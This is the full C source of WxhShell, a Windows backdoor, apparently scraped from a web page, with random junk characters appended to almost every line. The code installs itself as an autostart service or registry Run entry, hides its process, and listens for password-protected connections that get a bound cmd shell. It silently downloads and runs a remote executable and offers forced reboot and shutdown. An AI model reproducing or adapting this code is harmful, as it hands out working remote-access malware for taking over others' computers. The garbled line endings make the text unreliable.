    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2+C:Em0yI  
    if(Boot(SHUTDOWN)) ;4GGXT++L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f4F%\ "  
    else { W2zG"Q  
    closesocket(wsh); ^K_FGE0ec  
    ExitThread(0); h;y}g/HZ  
    } MA}}w&  
    break; v"mZy,u  
    } s1#A0%gx  
  // 获取shell bKzG5|Qu  
  case 's': { D&G?Klq  
    CmdShell(wsh); Uq{$j5p8  
    closesocket(wsh); @#-\ BQ;  
    ExitThread(0); -Lb7=98  
    break; ct OCj$$u  
  } ""|;5kJS4  
  // 退出 lFSvHs5  
  case 'x': { 9vwm RVN  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ZJF+./vN  
    CloseIt(wsh); `g)  
    break; B*Om\I  
    } vW!O("\7K<  
  // 离开 W,H=K##6<  
  case 'q': { 'Nuy/\[{\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); P{:Zxli0  
    closesocket(wsh); w:iMrQeJg  
    WSACleanup(); r ?<kWR?w  
    exit(1); ?,+&NX3m  
    break; 'jO8C2Th%  
        } l]Xbd{  
  } B4*y-Q.*  
  } xO<%lq`  
!_~ /Y/M  
  // 提示信息 _5(1T%K)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +xsGa{`  
} "USzk7=&.  
  } ocMTTVo  
v0=v1G*rvJ  
  return; c#1kg@q@  
} ~RwoktO  
suW|hh1/Ya  
// shell模块句柄 `L[q`r7  
int CmdShell(SOCKET sock) Am*lx  
{ ;*9<lUvu  
STARTUPINFO si; >j$aY  
ZeroMemory(&si,sizeof(si)); i_*.  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?D_iib7  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; o:"(\$  
PROCESS_INFORMATION ProcessInfo; }bdoJ5  
char cmdline[]="cmd"; NXDkGO/*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >&R@L KP  
  return 0; *//z$la  
} `kv7Rr}Q  
SDNRcSbOD6  
// 自身启动模式 XP:fL NpQ  
int StartFromService(void) 55UPd#E'  
{ ` "-P g5  
typedef struct f\Hw Y)^>  
{ }LQV2 hKTG  
  DWORD ExitStatus; A{k1MA<F6  
  DWORD PebBaseAddress; < 3*q) VT  
  DWORD AffinityMask; S')DAx  
  DWORD BasePriority; hA1B C3  
  ULONG UniqueProcessId; + @|u8+  
  ULONG InheritedFromUniqueProcessId; W/WP }QM  
}   PROCESS_BASIC_INFORMATION; e6tU8`z  
(: k n)  
PROCNTQSIP NtQueryInformationProcess; Iw)m9h  
T5e#Ll/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; R^sgafGl=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Z(t O]tQE  
0aI@m  
  HANDLE             hProcess; `.3.n8V  
  PROCESS_BASIC_INFORMATION pbi; &y|PseH"  
8g-Z~~0W1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); v<)&JlR  
  if(NULL == hInst ) return 0; C.LAr~P  
M5dEZ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -MsL>F.]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *B{]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0T#z"l<L  
,_w}\'?L  
  if (!NtQueryInformationProcess) return 0; *P]]7DR  
.d$Q5Qae  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); '@w'(}3!3R  
  if(!hProcess) return 0; f}4A ,%:1  
=2DK?]K;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; '+j;g  
llh +r?  
  CloseHandle(hProcess); l,(:~KH|  
4}cxSl]jf!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); E4Ez)IaKyi  
if(hProcess==NULL) return 0; |;t{L^  
PNo:vRtsq  
HMODULE hMod; +/kOUz/]  
char procName[255]; 9%3+\[s1  
unsigned long cbNeeded; r|\{!;7  
-e_TJA  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); k$8Zg*)  
NG:4Q.G1g  
  CloseHandle(hProcess); @OUBo;/  
JdUdl_D z  
if(strstr(procName,"services")) return 1; // 以服务启动 OT=1doDp  
?MmQ'1N  
  return 0; // 注册表启动 )p>p3b g  
} Lr6C@pI  
!^0vi3I  
// 主模块 /%p ~  
int StartWxhshell(LPSTR lpCmdLine) _zzNF93Bn  
{ !?+0O]`}  
  SOCKET wsl; Xc" %-  
BOOL val=TRUE; _!Tjb^  
  int port=0; <Uf`'X\e6  
  struct sockaddr_in door; Cd]A1<6s  
|F<iu2\  
  if(wscfg.ws_autoins) Install(); mSZg;7DE3*  
<u0}&/  
port=atoi(lpCmdLine); ?vI2mr a+  
o~"Y_dLsW  
if(port<=0) port=wscfg.ws_port; 5_L,7\5#  
vZ$E [EG}  
  WSADATA data; VGxab;#,:3  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .j|uf[?h  
/Qef[$!(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   .Z"`:4O   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /4;A.r`;  
  door.sin_family = AF_INET; I2SH j6 -  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); o&z[d  
  door.sin_port = htons(port); DS7L}]  
NW3qs`$-(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8+".r2*_iO  
closesocket(wsl); \)>#`X  
return 1; YN<vOv  
} D Y4!RjJ47  
Gx}`_[-  
  if(listen(wsl,2) == INVALID_SOCKET) { r#& JfAo  
closesocket(wsl); &V+KM"Ow  
return 1; X%(NI(+x,  
} Ej6ho0_  
  Wxhshell(wsl); @)[8m8paV  
  WSACleanup(); R)*l)bpZ#  
p$jAq~C  
return 0; >b5 ;I1o=y  
g"Ueo'd*  
} c$BH`" <*  
HJym|G>%?  
// 以NT服务方式启动 BtKor6ba  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Hy,""Py  
{ h7TkMt[l  
DWORD   status = 0; +Ig%h[1a  
  DWORD   specificError = 0xfffffff; ZUS5z+o  
xaoR\H  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (&r` l&0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [UC_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9^?muP<A  
  serviceStatus.dwWin32ExitCode     = 0; soQ[Zg4}  
  serviceStatus.dwServiceSpecificExitCode = 0; O`GF |  
  serviceStatus.dwCheckPoint       = 0; r%ebC   
  serviceStatus.dwWaitHint       = 0; OW@)6   
FeO1%#2<y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 'r\RN\PT  
  if (hServiceStatusHandle==0) return; I^u~r.  
Kr1Y3[iNv  
status = GetLastError(); oz,.gP%  
  if (status!=NO_ERROR) Buh}+n2]5  
{ `^'fS@VA  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; UQ7]hX9  
    serviceStatus.dwCheckPoint       = 0; In1n.oRFn^  
    serviceStatus.dwWaitHint       = 0; )s, t BU+N  
    serviceStatus.dwWin32ExitCode     = status; ST?Rl@4  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2cIKph  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5k Q@]n:<k  
    return; yqL"YD  
  } kTI5CoXzq  
Q 3^h  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; S^p^) fAmF  
  serviceStatus.dwCheckPoint       = 0; $@] xi  
  serviceStatus.dwWaitHint       = 0; ZnzO]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); FkuD Gg~a  
} >qr/1mW  
[{GN#W|AGP  
// 处理NT服务事件,比如:启动、停止 SDE$ymP x  
VOID WINAPI NTServiceHandler(DWORD fdwControl) GRkN0|ovfj  
{ |>'N^   
switch(fdwControl) M eep  
{ *l"CIG'  
case SERVICE_CONTROL_STOP: zn&ZXFgN  
  serviceStatus.dwWin32ExitCode = 0; ePJ_O~c  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; qq<T~^  
  serviceStatus.dwCheckPoint   = 0; (U# Oj"  
  serviceStatus.dwWaitHint     = 0; 5p:BHw;%;  
  { IpSWg  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YwF&-~mp7n  
  } yZ)9Hd   
  return; aT}Hc5L,b  
case SERVICE_CONTROL_PAUSE: P:vp/x!  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `aG _m/7|  
  break; U$+,|\9  
case SERVICE_CONTROL_CONTINUE: ;s3\Z^h4kd  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; eiyr^Sch.  
  break; GI,TE  
case SERVICE_CONTROL_INTERROGATE: } S]!W\a  
  break; jn(!6\n"  
}; $cJ fdE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YaC[S^p  
} <DR! AR)  
_Y]Oloo('  
// 标准应用程序主函数 Cojs;`3iF:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) t^zE^:06  
{ :3 Hz!iZM  
2PRiiL@  
// 获取操作系统版本 >JsVIfAF  
OsIsNt=GetOsVer(); Z}\,rex  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6S_mfWsi  
3c,4 wyn  
  // 从命令行安装 Q3&D A1b`  
  if(strpbrk(lpCmdLine,"iI")) Install(); #Y=b7|l  
z~~pH9=c2  
  // 下载执行文件 &p_iAMn:9  
if(wscfg.ws_downexe) { n^l*oEl  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6m(? (6+;K  
  WinExec(wscfg.ws_filenam,SW_HIDE); Xa#.GrH6  
} N"G\ H<n  
r6 3l(  
if(!OsIsNt) { fpC":EX@r  
// 如果时win9x,隐藏进程并且设置为注册表启动 k+P3z&e  
HideProc(); (hZNWQ0  
StartWxhshell(lpCmdLine); 3F!)7  
} oQm XKV+[v  
else g}R Cjl4  
  if(StartFromService()) hE`d@  
  // 以服务方式启动 #\^=3A|b  
  StartServiceCtrlDispatcher(DispatchTable); lZ[J1:%  
else Qb>("j~Z  
  // 普通方式启动 eWex/ m  
  StartWxhshell(lpCmdLine); e Ru5/y~  
JU5,\3Lz#  
return 0; Kg>B$fBx)  
} MnF|'t  
5EI"5&`*  
N}7b^0k  
dJnKa]X  
=========================================== uuF~+=.|  
B]<N7NYn1  
=LK`m NA  
wA/!A$v(  
SnXM`v,  
Z`GEF|eh  
" qk3 ~]</  
er1X Z  
#include <stdio.h> R[v<mo[s  
#include <string.h> -#/DK   
#include <windows.h> Ti0kfjhX7  
#include <winsock2.h> :R:@V#Y  
#include <winsvc.h> @g;DA)!(  
#include <urlmon.h> iWr #H  
1(# H%  
#pragma comment (lib, "Ws2_32.lib") E)jd>"  
#pragma comment (lib, "urlmon.lib") 4h--x~ @  
2|RoN)%  
#define MAX_USER   100 // 最大客户端连接数 Zj ` ;IYFG  
#define BUF_SOCK   200 // sock buffer dJ])`S  
#define KEY_BUFF   255 // 输入 buffer ip{ b*@K  
ebCS4&c  
#define REBOOT     0   // 重启 m zoH$@  
#define SHUTDOWN   1   // 关机 /=9dX; #  
UCj+V@{  
#define DEF_PORT   5000 // 监听端口 r]D>p&4  
s/11 TgJ  
#define REG_LEN     16   // 注册表键长度 >rP[Xox'  
#define SVC_LEN     80   // NT服务名长度 $qZ6i  
|HY{Q1%  
// 从dll定义API 30Qp:_D  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $qg2@X.  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); pMViq0  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); iRG6Cw2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); d*k5h<jM  
lcReRcjm  
// wxhshell配置信息 ]=xX_  
struct WSCFG { '3Fb[md54  
  int ws_port;         // 监听端口 N:+EGmp  
  char ws_passstr[REG_LEN]; // 口令 a x;<idC}  
  int ws_autoins;       // 安装标记, 1=yes 0=no T5T[$%]6  
  char ws_regname[REG_LEN]; // 注册表键名 T<Zi67QC@  
  char ws_svcname[REG_LEN]; // 服务名 5i'?oXL  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 DyZ6&*s$  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0 .T5% _ /  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9X33{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Tl-%;X<X  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?g@X+!RB  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =<aFkBX-  
u =~`5vA  
}; !e |Bi{  
|<oqT+?i  
// default Wxhshell configuration x.|sCqx  
struct WSCFG wscfg={DEF_PORT, c0&! S-4M  
    "xuhuanlingzhe", :2vuc!Pu  
    1, j8^ #698X  
    "Wxhshell", bi@'m?XwJ  
    "Wxhshell", -T+'3</T  
            "WxhShell Service", a7u*d`3X=  
    "Wrsky Windows CmdShell Service", z}$.A9yn  
    "Please Input Your Password: ", [GI2%uA0  
  1, sVmqx^-  
  "http://www.wrsky.com/wxhshell.exe", *u,&?fCl  
  "Wxhshell.exe" I7Abf7>*Q  
    }; +tg${3ti_  
Rm$(X5x>o  
// 消息定义模块 >nvK{6xR:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; JHZjf7g$k  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Sz1J4$5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; q?]KZ_a  
char *msg_ws_ext="\n\rExit."; J#3[,~  
char *msg_ws_end="\n\rQuit."; MMD=4;X  
char *msg_ws_boot="\n\rReboot..."; \xC#Zs[<  
char *msg_ws_poff="\n\rShutdown..."; .Xe_Gp"x  
char *msg_ws_down="\n\rSave to "; 368 g> /#'  
7z/O#Fbs  
char *msg_ws_err="\n\rErr!"; 4:b'VHW.  
char *msg_ws_ok="\n\rOK!"; @PQd6%@  
tk8\,!9Q  
char ExeFile[MAX_PATH]; _;S~nn  
int nUser = 0; .i|nn[H &  
HANDLE handles[MAX_USER]; <~_XT>`y  
int OsIsNt; -*J!Ws(9  
e?O$`lf  
SERVICE_STATUS       serviceStatus; %i?v)EW  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; gCVOm-*:  
j:2 F97  
// 函数声明 >/%XP_q%`e  
int Install(void); }rs>B,=*k  
int Uninstall(void); RVs=s}|>*  
int DownloadFile(char *sURL, SOCKET wsh); a gL@A  
int Boot(int flag); \ZE=WvnhZ  
void HideProc(void); >$ro\/  
int GetOsVer(void); Qr6PkHU  
int Wxhshell(SOCKET wsl); M&9urOa`  
void TalkWithClient(void *cs); Au(oKs<  
int CmdShell(SOCKET sock); wPcEvGBN=  
int StartFromService(void); 7xG~4N<)]  
int StartWxhshell(LPSTR lpCmdLine); %CgV:.,K  
2<w vO 9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %AWc`D  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); mZM7 4!4X  
]TcQGW@'  
// 数据结构和表定义 Q+QD ,  
SERVICE_TABLE_ENTRY DispatchTable[] = @*UV|$~(Q  
{ 4)'U!jSb  
{wscfg.ws_svcname, NTServiceMain}, x1E;dbOZ  
{NULL, NULL} 0XqxW\8_l  
}; pNmWBp|ER  
Y Ztd IG  
// 自我安装 M&Ln'BC  
int Install(void) n:1Ijh 1  
{  H ="I=}  
  char svExeFile[MAX_PATH]; X2:23j<  
  HKEY key; $ye>;Ek  
  strcpy(svExeFile,ExeFile); JB.U&  
8`]yp7ueS  
// 如果是win9x系统,修改注册表设为自启动 ]0|A\bE\S  
if(!OsIsNt) { 1_Av_X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B/!/2x  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )DlKeiK  
  RegCloseKey(key); fYh<S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N&Ho$,2s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )t\aB_ =  
  RegCloseKey(key); rQU6*f  
  return 0; %9S0!h\  
    } 5)hfI7{d  
  } =]"I0G-s!  
} YB2gxZ  
else { x#R6Ez7  
g+<[1;[-  
// 如果是NT以上系统,安装为系统服务 r}D#(G$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Jo~fri([%Q  
if (schSCManager!=0) 0!$y]Gr  
{ 3 5L0 CM  
  SC_HANDLE schService = CreateService iy]?j$B$  
  ( (-&d0a9N  
  schSCManager, hv\Dz*XTs0  
  wscfg.ws_svcname, Y}<%~z#.4  
  wscfg.ws_svcdisp, YV@efPy}n  
  SERVICE_ALL_ACCESS, B##X94aTT  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , GCfVH?Vx  
  SERVICE_AUTO_START, R-1MD  
  SERVICE_ERROR_NORMAL, mF jM6pmo  
  svExeFile, #reW)P>  
  NULL, @' ;.$  
  NULL, Aq3\Q>klH)  
  NULL, &Vgpv#&Cfx  
  NULL, wp> z04  
  NULL @>V;guJC%  
  ); DZ`m{l3H  
  if (schService!=0) ~oT*@  
  { RU~ku{8?  
  CloseServiceHandle(schService); KNj~7aTp  
  CloseServiceHandle(schSCManager); 9tVV?Q@)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /4+(eI7  
  strcat(svExeFile,wscfg.ws_svcname); 0 ]L   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^M;#x$Y?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); # h4FLF_w  
  RegCloseKey(key); BNI)y@E^X  
  return 0; `r~3Pf).4  
    } 9 Qa_3+.B  
  } dh&> E  
  CloseServiceHandle(schSCManager); [+ xsX*+  
} HiH<'m"\.  
} PB8g4-?p6  
U/|JAg #  
return 1; D>HbJCG4^  
} $ &KkZ  
*)6\ V}`  
// 自我卸载 ;^E_BJm  
int Uninstall(void) pIYXYQ=Z  
{ s;* UP   
  HKEY key; -V[x q  
VfP\)Rl  
if(!OsIsNt) { mw;4/ /R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0(:SEiz6s  
  RegDeleteValue(key,wscfg.ws_regname); FOMJRq  
  RegCloseKey(key); vZ.<OD4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { < *;GJ{  
  RegDeleteValue(key,wscfg.ws_regname); 0 _MtmmL.  
  RegCloseKey(key); a'dlA da  
  return 0; a_?b <  
  } R*6B@<p,i  
} /wt7KL- I  
} \x]\W#C  
else {  P Je_qP  
L G5_\sY!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Vp|?R65S*  
if (schSCManager!=0) n\JI7A}  
{ 2l^_OrE!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7C,giCYU  
  if (schService!=0) y)CvlI  
  { [A"=!e$<  
  if(DeleteService(schService)!=0) { GdVF;  
  CloseServiceHandle(schService); jY]51B  
  CloseServiceHandle(schSCManager); Gsb^gd  
  return 0; N)R5#JX  
  } *L$_80  
  CloseServiceHandle(schService); " r o'?  
  } y RXWd*9  
  CloseServiceHandle(schSCManager); NlKVl~_ C  
} {B4qeG5  
} Xo/H+[;X  
hd~#I<8;2  
return 1; vO~  Tx  
} CE c(2q+%i  
,qv\Y]  
// 从指定url下载文件 L~Peerby  
int DownloadFile(char *sURL, SOCKET wsh) -`* 'p i  
{ 'Kbrz  
  HRESULT hr; wL="p) TO.  
char seps[]= "/"; t&J A1|q  
char *token; CW?Z\  
char *file; $/ IFSB9  
char myURL[MAX_PATH]; LSJ.pBl\X  
char myFILE[MAX_PATH]; tO:JB&vO2  
vszm9Qf  
strcpy(myURL,sURL); gK({InOP  
  token=strtok(myURL,seps); KU9FHN  
  while(token!=NULL) }YFM4 0H  
  { 111A e *U  
    file=token; Rk3 bZvj3  
  token=strtok(NULL,seps); AguE)I&m  
  } /[\g8U{5B}  
C)EP;5k'!\  
GetCurrentDirectory(MAX_PATH,myFILE); A`Y^qXFb`  
strcat(myFILE, "\\"); d!0rq4v7  
strcat(myFILE, file); TPk?MeVy%W  
  send(wsh,myFILE,strlen(myFILE),0); Wtc ib-  
send(wsh,"...",3,0); !W@mW 5J|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); B\)Te9k'  
  if(hr==S_OK) TaBya0-  
return 0; DR}I+<*%aD  
else _Tor9Tj  
return 1; 4Zwbu  
?<C(ga  
} (b<0=U   
<%S)6cw(3  
// 系统电源模块 3J &R os  
int Boot(int flag) dVEs^ZtI  
{ VYkh@j  
  HANDLE hToken; Z,E$4Z  
  TOKEN_PRIVILEGES tkp; C:5- h(#  
Fw\Z[nh  
  if(OsIsNt) { . c+m(Pk  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0ck3II  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); i:0v6d  
    tkp.PrivilegeCount = 1; {eaR,d~X  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2WFZ6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $a*7Q~4  
if(flag==REBOOT) {  7N[".V]c  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) D4 8e30  
  return 0; ?8"* B^*Sh  
} 9>S)*lU&s  
else { -GPJ,S V>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Nyy&'\`!  
  return 0; 49&i];:%7%  
} +?o!"SJ  
  } uo]xC+^  
  else { &3Zb?  
if(flag==REBOOT) { rBTg"^jsw  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) X_o#!  
  return 0; iv *$!\Cd  
} %0C [v7\  
else { .F 6US<]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) },l i'r#p  
  return 0; \j`0 f=z_  
} <lf692.3  
} $e7%>*?m  
BKg8p]`+  
return 1; .s*N1 U?h  
} F8?2+w@P  
'@.6Rd 8  
// win9x进程隐藏模块 /x ?@M n>  
void HideProc(void) VGeTX 4h  
{ %%s)D4sW  
8O'bCBhv  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >80k5$t  
  if ( hKernel != NULL ) : x&R'wX-  
  { Gc`PO  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); H@ 1'El\9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $kTm"I  
    FreeLibrary(hKernel); x:MwM?  
  } s"=TM$Vb  
>^jBE''  
return; *zrGrk:l  
} X+XDfEt:Q  
-K =.A* }  
// 获取操作系统版本 Yvo*^jv  
int GetOsVer(void) @Z ==B%`  
{ 1Q(KZI  
  OSVERSIONINFO winfo; l2St)`K8  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); o{,I O!q  
  GetVersionEx(&winfo); A4,{ep'Z!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *gwlW/%Fz  
  return 1; 9AVj/?kmU  
  else u>fMO9X} 2  
  return 0; wkx9@?2*  
} 'cpm 4mT  
&>Ve4!i q  
// 客户端句柄模块 Hh^ "c}  
int Wxhshell(SOCKET wsl) =\%ER/  
{ dXh[Ea^  
  SOCKET wsh; vYV!8o.I  
  struct sockaddr_in client; BrE#.g Jq  
  DWORD myID; paIjXaU1Mb  
o(SPT?ao~  
  while(nUser<MAX_USER) ih0a#PB8  
{ > k\pSV[  
  int nSize=sizeof(client); @\y{q;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); O] PM L`  
  if(wsh==INVALID_SOCKET) return 1; _,L_H[FN  
&6vaLx  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [WR"#y  
if(handles[nUser]==0) !YAX.e  
  closesocket(wsh); k5Cy/gR  
else D5c 8sB  
  nUser++; u @Ze@N%  
  } S=r0tao,!v  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Tx PFl7,r  
&RZO\ZT  
  return 0; ) 1AAL0F\B  
} F9j@KC(yg  
tC'E#2  
// 关闭 socket BwWSztJ+B  
void CloseIt(SOCKET wsh) MTtx|L\4  
{ ej-A =avd  
closesocket(wsh); wI|h9q1U  
nUser--; dzOco)y  
ExitThread(0); 3LETzsJ  
} gvR]"h  
6NX#=A  
// 客户端请求句柄 Gf"TI:xa  
void TalkWithClient(void *cs) i"a3POV>  
{ nm1dd{U6^  
[L+*pW+$\.  
  SOCKET wsh=(SOCKET)cs; k4V3.i!E  
  char pwd[SVC_LEN]; ?-)!dl%N  
  char cmd[KEY_BUFF]; k 3m_L-  
char chr[1]; [=(8yUV'G  
int i,j; l9f_NJHo  
~-zIB=TyK  
  while (nUser < MAX_USER) { ,N(Yjq"R  
nnj<k5  
if(wscfg.ws_passstr) { H7tv iSTd  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jvB[bS`<H  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U)8yd,qG[%  
  //ZeroMemory(pwd,KEY_BUFF); .m]}Ba}J$  
      i=0; pZ>yBY?R8>  
  while(i<SVC_LEN) { [o<hQ`&  
v>wN O  
  // 设置超时 q|<B9Jk  
  fd_set FdRead; _!o8s%9be  
  struct timeval TimeOut; $!*>5".A  
  FD_ZERO(&FdRead); /3aW 0/^o  
  FD_SET(wsh,&FdRead); @KL&vm(F$  
  TimeOut.tv_sec=8; F^gTID  
  TimeOut.tv_usec=0; BjfVNF;hk:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); I/njyV)H  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); u"qVT9C$=  
]Kq<U%x$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9iG&9tB@  
  pwd=chr[0]; D:Q#%wJ  
  if(chr[0]==0xd || chr[0]==0xa) { %FYhq:j  
  pwd=0; b$DiDm  
  break; U/enq,-F^  
  } 0]SWyC :  
  i++; ikc1,o  
    } ~QbHp|g  
P_5aHeiJ  
  // 如果是非法用户,关闭 socket qhY+<S9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); wL8j i>"  
} $L= Dky7  
`*vO8v  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); l48$8Mgrr  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'UsR/h5T  
`TJhH<z"%  
while(1) { >}*W$i  
:o8`2Z*g  
  ZeroMemory(cmd,KEY_BUFF); Nb$0pc1J<  
xJ$uoy3+  
      // 自动支持客户端 telnet标准   zTcz+3x  
  j=0; veq3t$sj  
  while(j<KEY_BUFF) { A8&@Vxdz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;=,-C ;`  
  cmd[j]=chr[0]; `6VnL)  
  if(chr[0]==0xa || chr[0]==0xd) { O z0-cM8t  
  cmd[j]=0; H*N<7#  
  break; P6GTgQ<'BA  
  } ooJxE\L  
  j++; M^'1Q.K  
    } .9vS4C  
F&6#j  
  // 下载文件 bBs{PI2(p1  
  if(strstr(cmd,"http://")) { <CVX[R]U  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Nx.9)MjI  
  if(DownloadFile(cmd,wsh)) Nl YFS?5  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *:H,-@  
  else jz<}9Kze  
